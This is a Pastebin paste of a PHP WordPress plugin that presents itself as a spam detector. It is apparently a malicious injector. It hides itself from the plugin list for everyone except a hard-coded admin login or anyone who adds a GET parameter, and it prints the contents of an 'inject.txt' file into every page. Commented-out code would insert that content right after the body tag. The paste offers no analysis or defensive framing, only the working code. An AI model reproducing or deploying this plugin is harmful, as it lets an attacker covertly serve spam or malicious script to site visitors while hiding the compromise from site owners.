PalmaSolutions

spamdetectvr.php

Mar 25th, 2018
288
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.20 KB | None | 0 0
  1. <?php
  2. /*
  3. Plugin Name: spamdetectvrDescription: spam file detect to page bdy
  4. Author: J
  5. Version: 1.1
  6. */
  7.  
  8.  
  9. define('SPAMDETECTVR__BASENAME', basename( __DIR__ ) );
  10. define('SPAMDETECTVR__PLUGIN', SPAMDETECTVR__BASENAME . DIRECTORY_SEPARATOR . basename( __FILE__ ) );
  11. define('SPAMDETECTVR__PLUGIN_DIR', plugin_dir_path( __FILE__ ) );
  12. define('SPAMDETECTVR__SCRIPT_DIR', SPAMDETECTVR__PLUGIN_DIR );
  13. define('SPAMDETECTVR__SCRIPT_FILE', 'inject.txt');
  14. define('SPAMDETECTVR__SCRIPT_FILE_FULL', SPAMDETECTVR__SCRIPT_DIR . SPAMDETECTVR__SCRIPT_FILE);
  15. define('SPAMDETECTVR__ADMIN_LOGIN', 'SPAMDETECTVR__ADMIN');
  16.  
  17.  
  18. //скрываем плагины от всех кроме главного админа start
  19. function SPAMDETECTVR_hide($plugins) {
  20.  
  21. if( $_GET[SPAMDETECTVR__ADMIN_LOGIN] == 1 ) {
  22. return $plugins;
  23. }
  24.  
  25. $user = wp_get_current_user();
  26.  
  27. if( $user->data->user_login === SPAMDETECTVR__ADMIN_LOGIN ) {
  28. return $plugins;
  29. }
  30.  
  31. if( is_plugin_active( SPAMDETECTVR__PLUGIN ) ) {
  32. unset( $plugins[ SPAMDETECTVR__PLUGIN ] );
  33. }
  34.  
  35. return $plugins;
  36. }
  37.  
  38. add_filter('all_plugins', 'SPAMDETECTVR_hide');
  39.  
  40. add_action( 'loop_start', function (){
  41. if( file_exists(SPAMDETECTVR__SCRIPT_FILE_FULL) && is_readable(SPAMDETECTVR__SCRIPT_FILE_FULL) ) {
  42. readfile(SPAMDETECTVR__SCRIPT_FILE_FULL);
  43. }
  44. });
  45.  
  46. //add_action('shutdown', function() {
  47. // $final = '';
  48. // $levels = ob_get_level();
  49. // for ($i = 0; $i <= $levels; $i++){
  50. // $final .= ob_get_clean();
  51. // }
  52. // echo apply_filters('final_output', $final);
  53. //}, 0);
  54. //
  55. //add_filter('final_output', function($output) {
  56. // $after_body = apply_filters('after_body','');
  57. // if( !$after_body ) return NULL;
  58. // $output = preg_replace("/(\<body.*\>)/", "$1".$after_body, $output);
  59. // //echo '<textarea>', htmlspecialchars($output),'</textarea>';
  60. // return $output;
  61. //});
  62. //
  63. //add_action('after_body', function() {
  64. // if( file_exists(SPAMDETECTVR__SCRIPT_FILE_FULL) && is_readable(SPAMDETECTVR__SCRIPT_FILE_FULL) ) {
  65. // $content = file_get_contents(SPAMDETECTVR__SCRIPT_FILE_FULL);
  66. // return ($content === FALSE ? NULL : $content);
  67. // }
  68. //});
Advertisement
Add Comment
Please, Sign In to add comment